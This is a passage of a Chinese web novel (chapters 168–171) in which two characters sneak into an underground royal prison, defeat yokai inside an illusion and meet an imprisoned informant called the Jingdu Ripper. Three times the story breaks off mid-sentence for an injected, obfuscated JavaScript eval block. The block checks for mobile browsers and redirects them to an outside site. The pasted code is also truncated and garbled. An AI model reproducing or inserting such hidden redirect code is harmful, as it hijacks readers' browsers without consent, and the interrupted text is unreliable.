“看来我的猜测很准啊。”萧俨似乎得逞地朝池遥眨了一下眼。 几日后,池遥与萧俨在一个无人的巷子里,遭受到了一伙穿着制服的皇家兵卫的围攻。 上一次,面对只有六人的敌人,池遥和萧俨能够轻松对付,而这一次,把他们团团围住的兵卫超过二十人,面积不大的小巷中,前方和后方的道路都被突然出现的制服兵卫阻隔,比上一次棘手多了。 这一次池遥不敢轻敌,第一时间拿出了一把短匕首,挡在身前,另一只手掌中本能地积聚起抽取生机能力。 能力升级后,自己一次最多可以连续抽取两人的生命力。 池遥深吸一口气,直觉告诉自己,即将迎来一番苦战。 但是,也仅仅是苦战而已,有能力在手,她总能将这二十人全部制服。更何况,也不止她一个人,她身边还有萧俨呢。 然而,身旁的萧俨没有拿出任何武器,神色仍旧松弛,甚至带上了浅淡的笑意。 “哎呀,皇室就只派了这些人来吗?唔......不到三十人,也太轻敌了吧?” 他从喉咙里轻嗤一声,紧接着,身体动了。 接下来的一切,实在有些震撼。 一瞬间,萧俨的身形快速移动到最前方的制服兵面前,他的动作太快,池遥根本看不清他的身体轮廓,饶是视力强化过,双眼也只能隐约捕捉一道残影。 萧俨的行动太快,整个人仿佛化作一条发光的线,从制服兵之间飞掠而过,仅仅几秒钟,池遥一个呼吸之间,他就解决了所有制服兵,巷子里仍旧站立的人,只剩下了他们二人。 这完全不是普通人能够达到的速度。 此时,饶是再迟钝,池遥也明白了,这就是萧俨的能力,他可以以极快的速度行动。 “怎么样,很酷吧?” 方才的快速移动拨乱了萧俨额前的碎发,他抬起双手一点点捋顺额发,侧过脸邀功似的看向池遥。 “很厉害。” 这句话是真心实意的。 就算让她拥有萧俨的能力,池遥也无法拥有萧俨的战斗力,他的能力只给他起到了超速的作用,但他能够瞬间击倒所有人的身手才是他强大实力的基础。 “这就是我的能力,我可以超越光速的速度行动。只不过这种能力也存在许多限制。”他一只手掩在胸前,按在心脏的位置,喘了口气,“我的身体还跟不上速度,如果长期保持这种速度,身体会超负荷,很多器官也会有损伤。所以我平时不常用能力。” 池遥点了点头,趁着萧俨站在原地平复心跳和呼吸,蹲下来去倒地的卫兵身上翻找鲸円。 很快,萧俨就恢复正常,来到池遥身旁,帮她一起回收鲸円。 “来得真及时,正巧我们的钱要花完了。” 最终,二人毫发无损,还收获了一大笔鲸円,满载而归。 168. 西尔斯班纳皇家监狱3 更换委托一周后,池遥和萧俨收到了鲸都灰栗鼠的来信。 两个委托,西尔斯班纳皇家监狱的情报已经收集得差不多了,具体内容对方希望见面详谈。 而给比格兽人找主人的委托,鲸都灰栗鼠说自己将比格兽人带回家照顾了几天之后,对这个孩子产生了亲切的感情,想把比格兽人留在自己身边,但不知道自己是否符合池遥设定的领养人条件,在信件末尾附上了他的住址。 因此这一次见面,不再是情报商主动来旅社找二人,变成了池遥和萧俨去情报商的家里,一方面是考察情报商作为领养人的条件,另一方面也是为了得知皇家监狱的具体事宜。 鲸都灰栗鼠住在鲸都边缘的一个街区内,此处人流量大,鱼龙混杂,很多出入此地的行人都用各种物品挡住脸,风气与池遥和萧俨不久前去到的不法之地相似。 鲸都灰栗鼠住在居民楼的顶层,屋子不大,一室一厅,但却有一个面积很大的露台,平时不方便出门的时候,他就会放比格兽人在露台上玩。 客厅内收拾得十分整洁,茶几上摆放着一个透明罩子,罩住了茶几上乱七八糟摆放的资料。 “我算是知道为什么你把养比格兽人的人称为忍人了。”鲸都灰栗鼠苦笑着叹了口气,十几岁的孩子露出一副神似中年人的疲惫表情,打开了卧室门。 卧室面积不大,只有一个衣柜和一张睡眠舱,原本应该是很整洁的,然而,此时房间的地上到处都是碎纸片,比格兽人蜷缩在卧室墙角,神色无辜地吹手心里的纸片。 “啊......”池遥和萧俨同时露出了同情的神色。 “即便如此,你也想领养它吗?”池遥问。 “虽然小比确实总惹我生气,但我满十岁离开保育院之后,就独自一个人居住,身边一直没有朋友,和小比在一起,感觉生活比过去丰富了不少。” 池遥扫视了一圈房间里到处都是的碎纸片,外壳留下明显冲撞痕迹的睡眠舱,默默点了点头。 算了,他开心就好。 “好啊,那小比就交给你了,你以后一定要对他好,不能后悔和弃养哦。” “好的!我肯定好好照顾他!”此时,情报商脸上终于露出了符合年龄的纯真笑容。 接下来,话题回到正轨,情报商将西尔斯班纳皇家监狱的手绘平面图递给了二人。 “这是监狱的地下一层平面图,我这段时间调查了一些曾经进过这座监狱的犯人,发现了一件事。这座监狱建在地下,共有四层,只有地下一层的犯人有刑期限制,二层以下的犯人都是无期徒刑,会一直在监狱坐牢到四十岁后处刑。而二层的犯人刑期十年以上,很多犯人刑期还没结束,就因超龄被处刑了,因此我的情报网也没找到在地下二层待过的犯人。” 池遥看向手中的平面图。 西尔斯班纳皇家监狱建在鲸都城郊地下,从平面图来看,是一座圆形建筑,是专门关押罪大恶极的重刑犯的监狱。从入口处进去下楼,走过入口大厅,就是一个圆环形镂空楼梯,监狱一层的牢房是四人一间的小型牢房,围绕着圆形楼梯和半镂空环形走廊,呈放射状散开。 一二层的走廊都是这种半镂空环形走廊,可以直接低头望到地下三层的设施。因此,地下一层和二层的结构大概是相同的,从地下三层开始,内部构造与楼上两层完全不同,而地下四层更是完全没有一点情报。 除了正门之外,皇家监狱同样有一个后门,不过后门已经废弃,因为后门直通向法外之地,不会有任何人从后门进出,后门的大门也从内部锁死,无法从外部打开。 把尾款结给情报商,二人回到旅社,池遥来到了萧俨的房间,将平面图摊平在桌上。 “我们要怎么潜入进去?” 她看向萧俨。 监狱后门无法从外部打开,二人若是想进入监狱,只剩下了唯一一个办法,就是从正门进入。 可正门有皇家兵卫把守,除了接收新犯人,其他时间从不主动打开大门。 而心细的情报商似乎知道两人想做什么,已经把近期接收新犯人的时间告诉了二人。 “我们提前在附近埋伏起来。”萧俨指向正门的位置,轻点一下,“大门一打开,我就带着你动用能力闪进去,我的能力开到最大限度的时候,不会有任何人感知到我的存在。” “只不过,被我带着超速行动可能会很痛苦,你到时候要忍住,不要出声。” 池遥点点头。 “以我的能力潜入监狱应该不难,你只要不出声,我们应该会顺利到地下四层。” 有萧俨的能力帮忙,潜入监狱这件事也变得简单起来了。 但她也不能什么都不做,池遥只能将平面图牢记下来,确保自己不会拖萧俨的后腿。 几天后的傍晚,二人出现在监狱地下一层。 作为一座建在地下的监狱,远远看去,西尔斯班纳皇家监狱只是一个低矮的白色小房子,外面把守的卫兵数量不多,萧俨带着池遥,顺利跟随着进入大门的犯人进入了监狱内部,他的行动速度实在太快,仅用了不到一秒的时间,就从正门外来到了通往地下二层的楼梯背面。 此处是一个监控死角,很少有人注意,萧俨靠在墙上,一手挡住眼睛,另一手捂嘴,尽可能放轻呼吸。 池遥则用力伸展剧痛的身体。 在带池遥进来时,萧俨站在池遥身后,一只手托着她的下颚,防止高速移动导致下巴脱臼,另一只手则按着池遥的后脑,防止撞击。她的整个后背紧贴着萧俨的身体,然而,当萧俨真的移动起来时,池遥却感受到了一阵剧痛。 高速行动时的空气阻力都成为了一种重压,池遥的脸上受了一些细小的伤口。不仅如此,由于过快的速度,她在被萧俨带动着移动时,只感觉自己的脊椎和腰椎似乎都要从身体内脱离出去了,肌肉也因为过分紧绷而酸痛不堪。 她余光瞄了一眼萧俨,萧俨看起来毫发无损,只有呼吸略显急促。 她又一次切身体会到了萧俨的强大之处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186173|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一想到之后还要继续被萧俨带着移动,池遥就有些畏惧。 超光速行动真是个恐怖的能力。 萧俨站在原地平复了一会儿呼吸,才扭过头检查池遥的状况,看到她的脸颊侧面多了几道细小的伤口,是移动时被鬓边乱飞的发丝割伤的。 池遥还在空间里翻翻找找,试图找到可以夹头发的物品,下巴就被一只温热的手托住。 萧俨将池遥的下巴抬高,凑近她的脸,温热的指腹擦过池遥脸上的小伤口。 “刚才做得很好哦,一点声音都没有。” 他一边看,一边轻声夸奖。 池遥受不了他这种说话方式,从他手下挣脱出来。 此时,已经是傍晚时分,监狱内的狱卒纷纷下班,每层楼只留下两名狱卒值班,二人行动起来方便了不少。 只是眼下,他们还不知道,鲸都开膛手的真实身份。 在拜托情报商调查监狱时,池遥也询问了情报商鲸都开膛手的身份,然而,除了对方是一位男性之外,什么也没问出来。 鲸都的情报商们似乎也只知道有开膛手这个人,却并不知道对方的长相,外形,名字身份。 此时,关押犯人的牢房大门紧闭,他们不可能闯进牢房内挨个询问。 最好的办法就是,想办法得到监狱内犯人的资料。 一层的狱卒办公室就在楼梯口旁边,距离二人很近,池遥刚想开口问萧俨问题,就听到了打开房门的声音。 无疑,是他们背后的狱卒室大门开了。 “这帮家伙又吵吵嚷嚷闹什么?”一个狱卒粗声粗气地走出办公室,没走两步,回头看向坐在办公室里的另一位狱卒。 “闹事的不止一间牢房,你指望我一个人过去处理吗?” 听到这话,另一位狱卒懒洋洋地起身,伸了个懒腰,明显很不情愿地走了出来。 “每天晚上都要闹一闹才老实,真不知道这些犯人图什么。” 他慢吞吞地走出办公室,跟上前一位狱卒的脚步。 被他随手关上的房门微微停顿一瞬,才传来了房门被关闭的声音。 这点小事,狱卒们当然不会在意。 而此时,封闭的狱卒办公室,传来了一个刻意压低的声音。 “别担心,这儿没监控。” 池遥再次被萧俨放开。 狱卒办公室不大,正对房门的一整面墙上显示着监狱一层的实时监控,从监控中能够看到走廊里的狱卒。 不久后,两位狱卒分别出现在不同的牢房监控里,指着牢房里的犯人破口大骂。 而萧俨则在池遥看监控的期间迅速翻起了面前的四张办公桌,很快就翻出了他想要找的东西。 “池遥,这个办公室里只有一层所有犯人的信息。” 他向池遥挥了挥手里的资料,调动能力,几秒钟就看完了全部内容,朝她摇了摇头。 看来,一层并没有相关信息,还是要继续深入地下才行。 169. 西尔斯班纳皇家监狱4 到了地下二层,二人就没有这样的好运气了。 两人在楼梯背面等了二十分钟,都没见狱卒从办公室里走出来。 怎么办呢? 池遥拍拍萧俨的肩膀,附在他耳边,悄声将自己的主意告诉对方。 紧接着,萧俨点点头,身形一闪,转瞬间又回到原位。 很快,狱卒办公室大门“哐”的一声从内部打开,两名狱卒急匆匆地出了办公室。 池遥和萧俨趁着这个机会溜进办公室,仍旧是萧俨负责找资料,池遥负责盯着监控录像。 监控录像中,两位狱卒快步走在走廊中,很快就到了洗手间门口。 而此时,洗手间内部监控显示,洗手台上的水龙头不知何时被打开,柱状的水流早就填满了水池,整个洗手间的地板简直变成了一片小湖泊。 池遥的办法很直接,没有麻烦就给狱卒们制造麻烦,直接让萧俨打开了二楼洗手间的所有水龙头。 只是,这个办法也存在弊端,负责任的狱卒会清理干净洗手间地面,不负责的狱卒只会关了水龙头就走人,留给他们二人的时间远远不足。 但是,池遥发现萧俨在看文件资料时也习惯性使用能力,速度飞快,对于萧俨来说,这些时间足够了。 果然,没过几秒,萧俨就看向身旁的池遥,朝她微微摇头,带着她离开了狱卒办公室。 “我只是没找到资料,也许鲸都开膛手就在一二层也说不定。”他轻声与池遥说明情况。 “我检查了关押人员资料,没有看到任何关于鲸都开膛手这五个字的信息。不知道是因为他被关押在下层,还是他是以其他罪名入狱,没有记载他的情报商称号。” 听完萧俨的话,池遥沉默了。 这下,他们也有点不知道该怎么办了。 一时间,池遥靠着墙壁慢慢滑坐在地,双臂抱膝,将脑袋埋在臂弯里,深深吸了一口气。 “鲸都开膛手,到底在哪里啊......” 没有任何线索。 不知道鲸都开膛手的真实身份,就无从寻起。 她抬头看一眼萧俨,两人对上视线,同时露出无可奈何的笑容。 她甚至开始思索,会不会鲸都开膛手这个情报商根本就不存在,鲸都灰栗鼠提供的信息全部都是假的呢? 心中愈发焦躁。 然而,此时,她的耳边突然传来了一个短促的呼吸声。 这个声音离得太近,池遥能明确知道不是萧俨,因为当池遥本能地抬头看向萧俨时,萧俨脸上也露出了警戒的神色,显然,他也听到了同样的声音。 “呼......” 身边明明除了萧俨之外没有第三人,她却能明确地听到另一人的呼吸声,这实在太诡异了。 池遥不由地僵在原地,不敢发出声音,她和萧俨还在监狱内,无法发出太大的声音。 “你们......” “......是在找我吗?” 这个声音听起来格外年轻,但却有些发涩,发哑,语气轻柔又缠绵,咬字有些模糊不清,语速很慢。明显和萧俨不同。 萧俨一把将池遥从地上拉起来,把她拉到自己背后,警惕地望着四周。 周围空无一人。 偌大又空荡的走廊内,只有他们两个人。 池遥沉默半晌,压低声音开口。 “你是谁?” 隔了许久,他们再次听到对方的声音。 “鲸都开膛手。” 对方说出了池遥和萧俨极为熟悉的五个字。 “我听说你们似乎在找这个人,他现在被关在地下四层。” 池遥不由地攥紧萧俨的手。 “你是鲸都开膛手本人吗?”她再次开口。 然而,接下来,却再也听不到对方的声音了。 等了很久,也没有再听到奇怪的声音,池遥看向萧俨。 “他似乎已经不在了。” 萧俨点点头,神色带着问询之意。 “池遥,你相信这个人说的话吗?” “倒也说不上相信不相信......”池遥蹙起眉头。 “就算是骗我们的,也有概率是真话,而且,我们现在没有任何关于鲸都开膛手的线索。” 总比毫无头绪在原地干着急好。 “所以,我们肯定是要去一趟地下四层了。” 问题在于,二人只了解地下一层的构造,地下二层结构与地下二层相同,而地下三层及之下的结构,两人就完全不知道了。 “那我带你下去,捂住嘴,做好准备,这一次可能会比较久。” 萧俨看了一眼前方的楼梯,叹了口气,伸出手扶住池遥的后颈,又叮嘱一句。 “小心,不要发出声音,不要把舌头咽下去。” 池遥点点头,闭上眼睛,深吸一口气,紧接着,就感受到自己再度被萧俨带着快速移动起来,迅速穿过楼梯,来到了三层。 这一次移动的时间比之前每一次都久,萧俨在一个无人的拐角将池遥放下来,指了指身旁的大门。 这是一间消防楼梯门,打开大门,里面就是通往底层的楼梯。 消防楼梯内没有监控,两人走进楼梯间,同时停下脚步。 “确定要下去吗?”萧俨开口。 “那个人也有可能在说谎,或者故意引诱我们去地下四层。” “就算不因为那个人的话,我们在地下三楼关押的犯人资料中找到鲸都开膛手的可能性有多大?应该很小吧。”池遥劝他,“如果到时候没有在地下三楼找到鲸都开膛手,我们还是会去到地下四层,所以即便那个人没有说这种话,我们还是要去到底层的。” 面对着通往下层的楼梯,池遥率先迈开脚步。 “走吧,我走在前面。” 来到监狱之后,一直是萧俨帮助她,她始终没能帮上萧俨的忙,只有探路时能帮一点忙了。 “好。” 萧俨嘴上同意,却抓住了池遥的袖子,指尖攥得很紧,一旦前方出现危险,他能第一时间把池遥从自己身前拉回来。 与上层不一样,四层的结构十分复杂,大小不同的房间错落复杂,走廊也弯弯绕绕,宛若迷宫。 不知为何,走在底层的地面上,池遥有时候会有一种自己仿佛在摇晃的眩晕感。 难道外面又发生地震了吗? 不对,地震只会持续一小段时间,但池遥却觉得是脚下的地面,明明看上去是普通的混凝土地板,踩上去却有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189957|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种诡异的,隐约站不稳的错觉。 “我们已经到地下四层了。”她小小声呼唤未知的声音。 “现在可以告诉我们,鲸都开膛手究竟在哪儿了吗?” 等待一段时间后,神秘的声音再度响起。 “前方直走。” 池遥连忙按照对方的指引,向前走去。 萧俨就紧紧跟在她身后。 “右转。” “直走。” “左转。” 不知道转过多少个拐角,面前出现了一个紧锁的牢房大门。 “到了。” 这一次,声音不再是虚无缥缈地在耳边响起,而是真切的,从面前的大门背后传来。 池遥深吸一口气,回过头,看了一眼一直跟在身后的萧俨,伸出没有被萧俨抓住的那只手,握住了面前大门上锈迹斑斑的锁。 瞬间,眼前的场景彻底发生了变化。 周围的监狱环境如同墙纸般迅速剥落,池遥与萧俨二人周围被一片浓郁的黑色填满,隔了一段时间,又再度化为一片陈旧的墙壁。 池遥立刻看向身后的萧俨,萧俨放开攥着她衣袖的手,抬手去碰脖颈前挂着的空间吊坠,却突然蹙起了眉头。 “空间吊坠用不了了。” 他的声音有些紧绷。 听了他的话,池遥不由抬手,触碰自己的空间吊坠,还真是,空间吊坠似乎变成了一个普通的吊坠,完全失去了本身的特殊能力。 幸好萧俨腰间还藏着一把短刀,他将短刀抽出来,攥在手里,二人还不至于完全没有武器。 但是,紧接着,萧俨抬手,一把划破了自己的掌心,他的动作十分果决,伤口贯穿整个手掌,伤口很深。 殷红的鲜血立刻喷涌而出。 池遥瞪大眼睛,一时之间不知道他的用意,但萧俨眯起眼,似乎在感受什么,很快,就动作轻松地甩了甩满是鲜血的手。 “池遥,我现在完全感受不到任何痛苦。” “而且,我刚才试图使用能力,也用不了了。” 池遥一愣。 不知为何,萧俨的话语似乎有几分熟悉。 什么地方不能使用能力和道具,而且也无法感知到自己的伤口? 只不到一分钟,池遥立刻就理解了萧俨的意思。 “你的意思是,我们现在不在现实世界里?” “没错,我们本人应该还在监狱底层,没离开过。但是我们的意识却遭到了对方的攻击,陷入了幻境,或者是梦境?谁知道是什么地方。” 萧俨说得没错,池遥曾经进入过相似的地方,正是殷蘅的梦境,自己在梦境中无法使用道具和能力。 那么,要如何从这片幻梦中醒来? 引诱他们深入这里的那道声音,又是什么? 池遥站在原地,思考着这些问题,萧俨则已经转过身,去检查周围的环境了。 然而,池遥从思考中找回意识,眼睛无意中向上一瞥,自己斜上方,破旧墙皮产生的裂缝黑黢黢的,让她有种不好的预感。 下一秒,漆黑的墙缝中赫然出现一只惨白的眼珠子。 池遥愣了一秒,随后心情略显复杂地与那枚眼珠对视。 这不是老熟人吗? 170. 西尔斯班纳皇家监狱5 过去见过一模一样的情景,池遥此刻完全没有任何恐惧的心情,站在原地,好整以暇地注视着从缝隙中爬出来的人影。 从缝隙中爬出的果然是个瘦小的女孩子,看起来十三四岁,但与池遥之前在殷蘅梦中所遇到的鬼怪外表不同。 “奇怪,你明明看到我的眼睛,却不害怕我吗?” 女孩儿轻飘飘地落在池遥面前,歪着头,看向池遥。 而池遥回想了一下记忆中缝隙中的这位鬼怪会做的事,先发制人,伸手将她的嘴捂住了。 “不害怕,我很熟悉你这种鬼怪。”池遥捂着对方的嘴,另一只手将她死死制住,对方瘦弱的小身板,饶是失去了能力的池遥也能够制服。 见到池遥这边出事,萧俨也快步赶了回来,一把按住了女孩儿的后颈。 “如果我不堵你的嘴,接下来,你会强迫我和你玩一场捉迷藏游戏。” 池遥面无表情地揭穿对方的把戏。 “如果我抓到了你,你就会把我带到第二个空间。” 女孩的套路被池遥戳穿,愤愤地瞪了她一眼,身躯陡然间消散,化成一股青烟,消失了。 “好厉害!”萧俨收回手,露出明朗的笑容,“你怎么会知道她要做什么?太厉害了吧!” 被萧俨夸张地赞扬,池遥微微低头,躲过了萧俨的目光,尴尬地笑了一声。 “机缘巧合知道的。” “那之后就拜托你啦,池遥!” 萧俨原本紧绷的神色立刻消融大半,又露出了仿佛一切都不放在心上的轻松笑意。 没过一会儿,面前出现了一个戴着口罩,遮住大半张脸的女子,几乎在看到对方的瞬间,池遥就小声开口。 “别让她开口。” 不等女人摘下口罩,萧俨一拳自下而上砸在女人的下颚,死死固定住她的下巴,不让她有任何张嘴的机会,另一只手隔着口罩捏住她的腮帮子。 女人开不了口,瞪大了眼睛,呜呜挣扎出声。 “我知道你,你很有名。” 池遥面无表情地盯着面前的女人。 “你的口罩下有一张嘴角开裂到耳根的嘴,你会先询问遇到的人你美不美,在对方回答后再把你的真容展示给对方看。” “无论被问到的人如何回答,你都会杀掉对方。” 但反过来,只要提前堵住裂口女的嘴,不让她有开口问话的机会,自然能够破解。 很快,裂口女的身影也逐渐消失,池遥侧头,看了一眼萧俨。 如果没有萧俨,仅凭身体脆弱不堪的池遥,定然不能如此轻松地解决掉裂口女。 在此处,池遥无法使用道具,无法使用能力,而且刚刚与缝隙女孩动手时,才发现自己的身体素质也倒退回了普通人的程度。 她身边的萧俨理应和她相同,但刚刚对裂口女出手时,萧俨的身手,力度,都远强于普通人。 有这种力道和体能的普通人,定然是练过的。 没过一会儿,他们面前又出现了新的鬼怪。 在萧俨的帮助下,池遥不需要考虑解决鬼怪的手段,只需要第一时间识破鬼怪的身份。 “你是人面犬,是长着人头,可以说人话引诱人类的狗。” ...... “就算只有一个影子,我也知道你是银仙,原型是狐狸。使用那里的硬币和纸板可以向你提问,但是提问结束必须将你送回原处才行,不过我还没请你出来,你为什么出来了?” ...... “她只是看上去在仰望星空而已,实际上是在窗边上吊的尸体。” 众多出现在面前的鬼怪均被池遥识破身份,化作青烟消失。 期间,池遥除了观察面前的鬼怪,也将一部分注意力放在了萧俨身上。 果然,不是她的错觉,即便失去了能力和强化过的身体,萧俨的身手还是和在鲸都时一样干脆利落,出手果断而狠绝。 与在池遥面前展现的模样一点也不一样。 看到后面,池遥简直要怀疑他是否真的失去能力了,因为萧俨的身体似乎完全没有受到影响,他的身体似乎一直都是强化后的状态,和池遥印象中没有任何差别。 最终,出现在池遥面前的是一个外表美艳,裹着一件厚重的大衣,身形瘦高的女人。 池遥在心底长叹一口气,没有说话。 “我要出手吗?” 见池遥不说话,萧俨主动开口问。 “不用。”池遥向前一步,摇了摇头,“她是不致死的鬼怪。” 她这么说,反而让面前本要开口引诱的鬼怪愣了一下。 “她是从脖子以下失去皮肉,只剩下骨架的厉鬼。” 池遥抬手,帮女人将身上的外套裹得更紧,即便与回忆中相貌完全不同,但有一瞬间,池遥还是产生了某种不该出现的,怀念的情绪。 “骨女。” 对上完全陌生的女人的双眼,她叫出了熟悉的名字。 被识破身份,很快,骨女的身形也逐渐消散。 池遥身边的环境终于开始崩塌,萧俨上前几步,拉住了她的袖子,警惕地看着周围。 终于要脱离这个幻境了吗? 熟悉的力量渐渐回到池遥掌心中,池遥攥紧拳头,趁着眼前的幻境还没彻底消失,咬紧牙关,放出了一根精神力细丝,追溯着还未消失的幻境而去。 刚刚出现在池遥面前的鬼怪,大多是她在殷蘅的梦中见过的,来自其他世界的妖怪。 为他们施加幻境的人到底是谁,难不成是殷蘅吗? 抱着几分期待的心情,池遥凝神,将注意力放在精神力细丝之上,试图探测到幻境主人的身份。 “逢魔が時...” 然而,传入耳畔的却是全然陌生的语言,从发音和语调,似乎有点像池遥故乡的霓虹语。 但是,很快,她就理解了这句话的意思。 “逢魔之时不能出门,外面都是游荡的鬼怪。” 这是什么? 难不成她透过精神力细丝,隐约听到看到了幻境主人的记忆? 眼前是一片和风小镇,建筑多是木质结构,没有高楼,天空高远而明净,呈现出一片诡异的粉红色,柔和的光晕之下,街道上逐渐出现了一个个黑影,仿佛从地面的缝隙中凭空钻出的,这些黑影逐渐凝聚成各类鬼怪的模样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17194994|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而此时还走在街上的人类,就会被凭空出现的鬼怪吞吃殆尽。 池遥的精神力细丝只坚持了十秒钟,疲惫感就涌了上来。 饶是她还想看到更多,听到更多,可担心现实中可能存在的危险,她不能施放全部的精神力,一旦能力透支,会拖累身边的萧俨。 她立刻收回精神力。 很快,熟悉的监狱底层的环境再次映入眼底,那扇牢房大门也再次出现在池遥面前。 池遥却微微一怔,她手中的锁头不见了。 她试探着轻轻一推,面前的大门毫无阻力,被她推开。 与上面几层不同,底层的重刑犯极少,牢房数量也不多,每间牢房面积有地下一层牢房的三四倍大,而每间牢房也只关押一名犯人。 此时,听到开门声,倚靠着墙壁坐在牢房中的青年,微微抬起头,被掩在碎发之下的双眼朝池遥和萧俨二人看来。 “终于等到你们了。”他轻声开口。 声音微涩微哑,语速很慢。果然是之前池遥二人在地下二层听到的声音。 牢房面积很大,青年坐在牢房最深处,池遥向前走了几步,关上牢门,又反复试了几遍,确定牢门可以从内部打开,才重新看向牢房内的人。 坐在牢房中的青年身形单薄而纤弱,尽管是坐着,但隐约能看出他的个子不高,身形也不算高大,至少比不上她身边的萧俨。 他的头发像墨一样黑,柔顺地垂落下来,在脖颈两侧分开,略微调皮地向两侧翘起。额前的碎发略长,即便向两边散开,仍旧遮挡了眼睛,眉眼细长,脸部线条十分柔和,五官极淡,虽然完全无法匹及萧俨的美貌,但却也别有一番风味。 或许是因为额前的头发遮挡住了眼睛,他整个人气质显得有几分阴郁,面色又极苍白,几乎和池遥刚刚见过的诸多鬼怪是同一个色号,显得鬼气森森。 池遥不由地绷紧了身体,察觉到她的小动作,萧俨朝池遥的方向倾斜一点身体,将他的手臂紧紧贴住池遥的手臂,仿佛在安抚她。 “你就是鲸都开膛手吗?” 萧俨开口问道。 “是的。” 青年的目光落在二人身上,在池遥和萧俨看向他的时候,这个人同样在打量闯入牢房的二人。 “我叫池田司。” 青年似乎很疲惫似的,扶着身侧的墙壁,摇摇晃晃站起身,与池遥对上眼神。 “不过鲸都的人都叫我鲸都开膛手,这个称号也行吧。” “二位既然潜入监狱来找我,想必是有外面的情报商无法解决的问题想要问我,两位尽可开口,我会尽可能给二位一个满意的答复。” “只不过,向我提问是需要代价的,由我出价,一个问题一个代价,希望两位能做好准备。” 池遥和萧俨对视一眼,一同点头。 只不过,既然池田司都说名字了,池遥也主动开口介绍。 “我叫池遥,他是萧俨,我们愿意支付代价,呃......但你可以重新说一遍名字吗?” 青年自我介绍的时候,名字说的是霓虹语发音,池遥不擅长记外语。 “我叫池田司,叫我池田就可以了。” 171. 希尔斯班纳皇家监狱6 青年重新做的自我介绍,池遥勉强记住了,但心中觉得他的名字只有一个音节,比姓氏好记多了。 萧俨面上依旧带着笑意,眉眼却微微沉下来,池遥和他熟悉后,渐渐了解他这副模样是在警戒。 见池遥二人都同意了,池田司才慢慢踱步回睡眠舱边坐好。 “请二位在脑海中默念问题,不需要说出来,我就可以知道你们想问的问题了。” 奇怪的人。 池遥深吸一口气,闭上眼又睁开,在脑海中认真默念了一遍自己的问题。 ——请帮我找到我的朋友曲卓的踪迹吧。 反复默念三遍,她才重新将注意力移到对面的池田司脸上,青年苍白的脸上没什么表情,微微垂着眼睛,猜不出在想什么。 “我已经听到你们的问题了。” 他勾起唇角,试图露出一个微笑,但这个浅淡的笑容驱不散他从头到脚的阴森气场,于是他也就不再勉强自己了。 然而,他刚要继续开口,脚下的地面却突然剧烈震颤起来。 地震来了! 池遥和萧俨经历了数次地震,本不该如此惊诧,可或许是因为西尔斯班纳皇家监狱建在地下,他们此时又身处最底层,脚下的地面并不像过去一样仅仅只是摇晃,而是快速地向下塌陷。 “抓住墙壁!” 池田司动作极快地抓住了墙壁上的装饰物,朝池遥喊道。 池田司所在的牢房墙壁坑坑洼洼,凹凸不平,上面又嵌了不少装饰物,池遥此时才知道,原来这面墙壁还有如此妙用。 几乎是池田司话音刚落,身后就扑来一个人影,单手揽起她,另一只手快速抓住墙上的物品,一只脚踩进墙壁的凹陷里,另一只腿微微抬起,挡在怀里的池遥身前,死死蹬着墙壁借力。 他的动作太快,显然运用了能力,此时为了抱住池遥,将脑袋抵在池遥的颈窝处,喘了口气,才再次开口。 “抱紧我的脖子。” 池遥立刻抬起手臂圈住他的脖子,紧紧抱住对方,确认池遥抱紧后,萧俨才松开手,在自己的空间吊坠内翻找起来。 在他们不远处,攀着墙壁的池田司侧过头,沉默地看着这一对看起来亲密无间的男女,眼神暗了暗。 池遥越过萧俨的肩膀,低下头,观察起了牢房的地面,不对,此时已经不能称作地面了,原本的地面完全塌陷,此时只剩下一片黑黢黢的深渊。 即便地面塌陷,但他们此时所攀附的墙壁却没有损伤,只随着地下的震动剧烈摇晃。 与池遥和萧俨在鲸都市区遭遇的地震相比,这一次的地震明显强了好几个等级,已经是可以造成灾难的程度了。 “接下来怎么办?” 萧俨开口问一旁的池田司。 “没关系,等地震过去之后,牢房地面就回来了。” 池田司的身体素质似乎远远比不上萧俨,此时看着十分狼狈,但语气却云淡风轻。 “监狱底层每次遭遇地震都是这样的,习惯了就好。” 他又补充了一句。 “什么?” 池遥震惊了。 果然,过了几分钟,剧烈的摇晃渐渐停止,萧俨将手里的东西塞回吊坠里,池遥才发现,他刚刚从空间内找出来的是一个形似摄影机的小型设备。 池遥一直盯着牢房地面处,眼睁睁看着黑黢黢的深渊在地震平息后,又重新显现出了地面的形状,不仅如此,牢房里的家具也都在原地,没有任何损坏。 仔细看去,才发现这些家具也是固定在墙壁上的。 池田司率先松手,从容跳回地面上,走到睡眠舱前,又坐下了。 “好了,我们继续吧。” 